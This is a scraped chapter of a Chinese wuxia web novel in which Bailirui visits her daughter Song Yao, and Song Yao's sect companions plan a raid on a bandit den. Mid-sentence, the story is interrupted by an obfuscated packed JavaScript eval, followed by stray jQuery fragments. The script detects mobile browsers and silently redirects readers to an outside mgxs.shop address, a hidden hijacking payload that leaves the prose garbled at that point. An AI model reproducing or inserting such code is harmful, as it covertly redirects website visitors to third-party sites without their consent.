百里蕊抬手,轻轻捏了捏女儿玉嫩的小脸,嗔怪道:“不可动不动就喊打喊杀,成何体统?”
“嘿嘿~”小姑娘也不恼,只傻笑两声,顺势蹭了蹭她的手。
百里蕊收回手,目光在四周扫了一圈,随口问道:“你师父呢?”
往常她一来,千均总是第一时间便赶来见她。
交代完正事。
宋瑶便牵着母亲的手往外走,边走边解释道:“师父闭关数月,今日才刚出关,还没顾上用膳。您来得早,这会儿他应该刚洗漱完,我这就带您过去。”走了两步。她又回过头,不放心地叮嘱了一句:“娘亲,您可千万记得答应我的事啊。”
未迈出院子,就迎上当事人。
他身着一袭月白色的宽袖长袍,墨发仅用一根发带随意挽起,胡渣刮得干净,俊脸棱角分明,带着一股书生气。
温千均温文有礼道:“小姐安好。”
小姐?宋瑶不解的目光在两个大人之间来回?
娘不是说,他们是朋友吗?这是闹哪样?
察觉自己失口,男子咳嗽一声,喊了一声:“小蕊,你来了。”
百里蕊点了点头。
温千均年长她八岁,是府里的家生奴,看着她长大,两人友谊甚密,曾一起习剑练武。
于她而言,他就是哥哥般存在。
小姑娘夹在两人中间,故作惊讶地眨眨眼:“呀,师父您来啦!真是巧,我娘正好有话想跟您说呢。不如你们去我房里慢慢聊,我去正堂等你们哈~”
转身之际,借着回头的空当,不动声色地冲母亲挑眉递了个眼色,示意她别忘了答应过的事。
小姑娘轻功好,每次都是以最快速度消失。
进了屋,百里蕊正斟酌着该如何开口,却听男子温声问道:“小蕊今日过来,可是有什么事?”
她眼神柔和了几分,轻声道:“没什么,就是心里惦记着瑶儿,便过来瞧瞧。”
“几时走?”
“一个月后。”
室内一片寂静。
男子微微颔首,从怀中取出一块木制云纹令牌递了过去:“你还是住鹤绥院,拿着这令牌,安心住下便是。”
“嗯,多谢。”百里蕊接过令牌道了声谢,沉吟片刻后,又开口道:“其实,瑶儿出去历练一番,是好事。她的本事我心里有数,再者我体内余毒已清,功力尽复,即便真有变故,我也能护她周全。”
他点头:“好,我答应了。”
她颌首。
千均这不是挺好说话的吗?
那个丫头怕啥?
温千均带着人回到鹤绥院正堂,几位小朋友不去练武,正在侃大山。他微微蹙眉,宋瑶武功好不必操心,其余人怎的如此懈怠?难不成他说三日沐休,就三日不练武?
事实上,外门五人团正有此法!
这不,几位小朋友商量着下山玩的事。
宋瑶听到母亲要留下待一个月,差点都蹦起来,嚷着明日要一起去玩,似是想起什么,她朝着母亲俏皮眨眼:怎么样啦?
“你师父应下了。”
随着女子温柔的话音落下,旁边一道粗犷的嗓音惊得变了调:“什么?师父竟答应得这般快?”
李长宣满脸惊愕,完全不敢置信。早上师父还因剿匪之事雷霆大怒,凶神恶煞的,方才小师姐说让母亲去劝上一劝,这才过了多久?
宋瑶乐得眉眼弯弯,嬉笑着挽住母亲的胳膊:“我就知道娘最厉害了!”
被牵住的百里蕊眸光微动,温声道:“我左右无事,便陪你们一同去吧。”
温千均闻言,也顺势接话道:“算我一个。我稍后去禀报大长老,不出意外很快便能出发。”
队伍瞬间壮大,宋瑶顿时喜上眉梢,忍不住拍手欢呼道:“好耶!好耶!这下更有把握了!”
不过兴奋劲儿刚过。
她猛地想起什么,目光落在了小师弟脸上那几块青紫的淤痕上,语气瞬间软了下来:“哎呀,等等……师弟,你伤成这样还好吗?确定能跟着一起去吗?
她这一看不要紧。
才发现同样带伤的还有三、四师弟和五师妹。
宋瑶的目光在几人身上来回扫视,眼神里满是关切,似是在认真确认大家是否真做好了出发的准备。
温千均做事迅速,不参与他们选人的事,先行一步去找大长老。
崔砚礼坚定道:“我要去。”
他要去保护小师姐。
其余的几人,也纷纷点头。
确定计划后,正堂里,宋瑶端坐主位,以一脸运筹帷幄之姿,发号师令:“此番是我们第一个行动,造福百姓,只许成功,不许失败。”
“是。”
外门五人团齐声回答。
紧接着,小师姐开始派活儿了:“李长宣,你今日便飞鸽传书给霜州知府,同他商议出兵一事,探探他能调拨多少兵马,定下后速来报我。”
“得令!”小胖胖“噌”地一下站起身,干脆利落地应下。
主位上的小姑娘眨巴着乌溜溜的杏眼,视线在剩下四人身上打转。她托着腮帮子,小眉头微蹙,似乎在纠结下一个该派谁去,一时竟有些难以抉择。
沉吟片刻。
她先指了指自己,定下任务:“至于我嘛……我打算乔装成一位落单大家闺秀,故意走那条途经贼窝的路线,引贼人将我绑回山寨,趁机探查虚实。”
“我跟师姐去一起去。”
有人率先一步,抢了李长宣的话,小胖胖瞪了小师弟一眼,这没眼力见的。
小姑娘一票否决:“不成,只能我一个人去,我怕你们有危险。”
五人团沉默。
小师姐武功比众人高上数倍。他们跟着去只能添乱。
初步计谋已定:李长宣负责搞定霜州知府,其余人则留在客栈善后。等小师姐配合师父与官兵擒住马匪,师弟师妹们只需顺理成章地收尾,便能坐享这份大功。
林汐被小师姐这般周全安排感动得泪眼婆娑,抽噎道:“师姐,明明都是你在出力,我们却只会躲在后方,什么都做不了……”
经此一事,她心中暗下决心,日后定唯小师姐马首是瞻。
宋瑶最受不得这种煽情的场面,连忙摆摆手打断道:“哎呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720299|208609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,快别整这些肉麻的了。那就这么定了,明日我先带母亲动身去落古城的明月客栈。我会御剑,脚程快,你们骑马慢慢赶,到了去明月客栈汇合便是。”
一锤定音。
众人不再多言,各自散去准备。
唯有坐在角落的百里蕊,自始至终都置身事外。她只是静静地看着眼前这一幕喧闹,不发一语,仿佛周遭一切都与她无关。
李长宣携着令牌下山,这还是他头一回与影子死士打交道。只见他面沉如水,一脸肃穆,冷静而有条不紊地吩咐着任务。
此刻的他。
与平日里在山上那副嘻嘻哈哈、没个正形的模样,简直判若两人。
还是那副憨态可掬胖胖身形,可那双眼睛里神采却彻底变了。
就像是躯壳未改,内里却早已换了一个人。
另一边。
崔砚礼蒙上一层面纱,挡住脸上伤口,悄然下了山。
一路行至山脚不远处的河枝镇。
他在街头看似闲逛,实则目光暗扫。
不多时径直踏入一家“聚源银庄”。
一刻钟后,掌柜验过令牌,又对上暗号,原本精明的神色瞬间收敛,恭敬地躬身道:“不知公子驾到,有何吩咐?”
“负责霜州地界的大管事是谁?我们在此地能调动多少高手?”崔家虽以经商起家,富甲一方,但崔砚礼对家族暗藏的武力部署却并不清楚。
留着山羊胡的掌柜有着一双精于算计的三角眼,闻言不敢怠慢,垂首答道:“回公子,霜州多山脉,大管事常驻落古城总部,名唤崔应。至于高手调动的具体情况,属下职微,并不知情,此事需公子亲自过问大管事方能知晓。”
回话完毕,他立刻恢复了低眉顺眼姿态,静候下文。
得到满意回答,崔砚礼并未耽误太久,径直离去。
刚回到半山居,就见李长宣拉着霍年在收拾东西。
好似要出发的模样?
不是明天吗?
他多嘴问一句:“你们这是?”
李长宣风风火火地收拾好行李,一出门正撞见回来的小师弟。他火急火燎地拉住人:“师弟,你来得正好!小师姐明日御剑直奔落古城,那速度定然比我们快得多。我们要晚到一日,岂不是让她独自去闯那虎穴?我怎么能放心得下!”
他指了指身旁沉默寡言的霍年,语速飞快:“四师弟听说后,死活要跟我一块儿去。所以我雇了辆马车,今晚连夜赶路,宿在道上,明天刚好能跟小师姐汇合,你明日自个儿过来就行。”
崔砚礼敏锐地捕捉到了“自个儿”三个字,眉头微挑:“二师姐和五师姐呢?”
“诶呀——”李长宣一拍大腿,满脸无奈,“她们半道撞见我,一听这事儿,也要连夜跟着去,这会儿都在屋里收拾东西呢!我早知道就不多嘴了,本想我一个人去跟小师姐汇合,结果一个个全跟上了。”
崔砚礼二话不说,抬腿就往屋里走,丢下一句:“我也一起,等我一下。”
“诶呀,这都叫什么事啊……”身后传来小胖胖鬼哭狼嚎的哀叹,“那明明是我爹留给我的死士啊……”